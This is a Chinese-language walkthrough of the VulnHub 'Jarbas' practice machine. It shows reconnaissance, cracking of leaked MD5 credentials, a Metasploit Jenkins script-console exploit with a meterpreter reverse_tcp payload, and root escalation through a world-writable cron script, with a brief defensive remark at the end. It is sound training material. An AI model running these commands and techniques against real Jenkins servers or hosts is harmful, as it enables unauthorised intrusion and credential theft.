jarbas
虚拟机:https://www.vulnhub.com/entry/jarbas-1,232/
信息收集
将下载好的服务器开机后登录不了,不知道ip ,只能将攻击机和服务器置于同一网段
- 使用nmap进行探测
发现开启了web服务有80和8080端口,同时开启了ssh和mysql服务 - 访问80端口
通过wappalzer插件探测到操作系统,apache版本,php版本 - 访问8080端口
发现一个登录界面 - 目录扫描
翻了几个页面后发现access.html中存在敏感内容泄漏,其他文件没啥用
md5解密后得到
tiago:5978a63b4654c73c60fa24f836386d87 |italia99
trindade:f463f63616cb3f1e81ce46b39f882fd5 |marianna
eder:9b38e2b1e8b12f426b0d208a7ab6cb98 |vipsu
信息汇总
ip | 172.16.131.140 |
操作系统 | Centos Linux 3.2 - 4.9 |
apache | 2.4.6 |
php | 5.4.16 |
22 | ssh服务开启 |
3306 | mysql服务开启 |
80 | 泄漏账户密码 |
tiago:italia99 trindade:marianna eder:vipsu | |
8080 | 后台登录界面 |
CI | Jenkins 2.113 |
获取权限
-
将收集到的账户,密码尝试ssh,mysql,后台登录,最后使用eder用户登录后台成功.
-
不太了解Jenkins,去kali里面去找一下有没有可以用的攻击方式
-
选择挺多,最后使用msf的
multi/http/jenkins_script_console
来进行攻击
msf6 exploit(multi/http/jenkins_script_console) > set payload 0
msf6 exploit(multi/http/jenkins_script_console) > set target 1
target => 1
msf6 exploit(multi/http/jenkins_script_console) > set rhosts 172.16.131.140
rhosts => 172.16.131.140
msf6 exploit(multi/http/jenkins_script_console) > set rport 8080
rport => 8080
msf6 exploit(multi/http/jenkins_script_console) > set TARGETuRI /
TARGETuRI => /
msf6 exploit(multi/http/jenkins_script_console) > set USernAME eder
USernAME => eder
msf6 exploit(multi/http/jenkins_script_console) > set password vipsu
password => vipsu
msf6 exploit(multi/http/jenkins_script_console) > set payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/http/jenkins_script_console) > run
4. shell命令出来的是sh,
python -c 'import pty ;pty.spawn("/bin/bash");'
bash-4.2$ ls
提权
-
ps一下,看到好多root用户进程
-
尝试直接进程迁移,失败
-
使用local exploits suggester 搜索漏洞
**Metasploit内置模块提供了各种可用于提权的 local exploits,并会基于架构,平台(即运行的操作系统),会话类型和所需默认选项提供建议。**这极大的节省了我们的时间,省去了我们手动搜索local exploits的麻烦。虽说如此,但也并非所有列出的local exploits都可用。所以,无论是漏洞利用还是查找最好的办法就是自动结合手动。
-
最后发现有一个su login可以使用
[+] 172.16.131.140 - exploit/linux/local/su_login: The target appears to be vulnerable.
-
尝试su_login,失败
-
查看计划任务,发现一个root执行的任务,任务每5分钟执行一次sh脚本
-
crontab当前用户是没有权限修改的,只能去看看脚本权限,发现是777的权限
-
尝试将所有目录的权限修改为777
-
使用find -name flag 找到 flag文件
-
下载passwd和shadow,尝试破解密码
-
将计划任务脚本中写入一个反弹shell,由于这是root用户运行的sh,所有获取的shell直接就是root用户的.
按照思路应该是可以做出来的,不过一直都没有成功,试了好多反弹shell都失败了 -
尝试将当前用户加入到sudo用户组
-
稍作等待,执行
sudo /bin/bash
,得到root的shell
-
修改root用户密码
防御
这里主要是通过计划任务进行提权,所以也算提了个醒,计划任务中的脚本也要注意权限,同时攻击通过JenKins拿到第一个权限,需要更新JenKins.